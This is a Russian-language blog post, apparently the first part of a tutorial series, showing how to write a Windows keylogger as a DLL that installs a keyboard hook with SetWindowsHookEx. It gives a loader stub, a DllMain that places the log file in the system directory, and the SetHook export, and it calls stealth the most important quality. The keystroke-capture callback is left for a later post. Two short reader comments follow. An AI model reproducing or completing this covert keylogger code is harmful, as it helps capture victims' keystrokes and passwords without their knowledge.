keylogo 300x158 Кейлоггер

Сегодня я хотел бы рассказать о наверное, самой интересной, из всех программ — кейлоггере. Это очень интересный вид программного обеспечения. Как мне кажется, самое главное в нем — это скрытность. Он не является вредоносным программным обеспечением — но ходит, как говорится, по острию ножа.

Кейлоггеры очень разнообразны, но по способу их программной реализации можно определить на два вида:

  1. Использование GetAsyncKeyState(). В этом случае никакие DLL не требуются, но и возможностей у данной программы маловато будет, да и загрузка ЦП очень большая — что привлечет внимание пользователя, а это, как говорится не есть гуд.
  2. Установка хука на клавиатуру. Здесь необходима DLL, которую придется таскать за собой. Не очень удобно, но это можно компенсировать меньшей нагрузкой на процессор и прочими вкустностями…

Итак, здесь я буду разбирать второй способ, ибо первого способа навалом сорцов в интернете. Для начала, нам пригодится программа — тестер. Она будет загружать DLL и вызывать функцию установки хука. Простейший код реализующий все вышесказанное:

typedef void (_SetHook)(void);
_SetHook SetHook = (_SetHook)GetProcAddress(LoadLibrary("keylogger.dll"),"SetHook");
SetHook();

Соответственно, библиотека должна иметь имя keylogger.dll и должна быть экспортируема функция SetHook, вот таким макаром:

extern "C" __declspec(dllexport) void SetHook(void)

В библиотеке должны быть обьявлены следущие глобальные переменные:

  1. HHOOK hHook; — переменная для хранения идентификатора хука
  2. HINSTANCE hHandle; — для получения хэндла процесса в который попала DLL
  3. char szLogPath[MAX_PATH];  — переменная для хранения пути к логу
  4. char *szLogName = «\\superlog.txt»; — переменная для хранения имени лога

А в главной функции (DllMain) будет следущий код:

BOOL APIENTRY DllMain( HINSTANCE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        hHandle = hModule;
        GetSystemDirectory(szLogPath,sizeof(szLogPath));
        strcat(szLogPath,szLogName);
        return TRUE;
}

Да, совсем забыл, функция (а правильнее процедура) SetHook имеет следущую реализацию:

extern "C" __declspec(dllexport) void SetHook(void)
{
        if(!hHook)
                hHook = SetWindowsHookEx(WH_KEYBOARD,KBHook,hHandle,NULL);
        else
                UnhookWindowsHookEx(hHook);
}

Где вам неизвестна только одна переменная — KBHook — это функция для хука на клавиатуру, но это уже другая история… (В следущем посте).

tt twitter big4 Кейлоггер tt digg big4 Кейлоггер tt facebook big4 Кейлоггер tt gmail big4 Кейлоггер tt myspace big4 Кейлоггер tt reddit big4 Кейлоггер

Комментарии (3) на “Кейлоггер”

  • limon:

    Интересно. Молодец!

    Ответить
  • KMiNT21:

    Вот еще до кучи статья подобного плана — http://uinc.ru/articles/zametki/001.shtml
    Может кому-то пригодится.

    Ответить

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Супер Pixel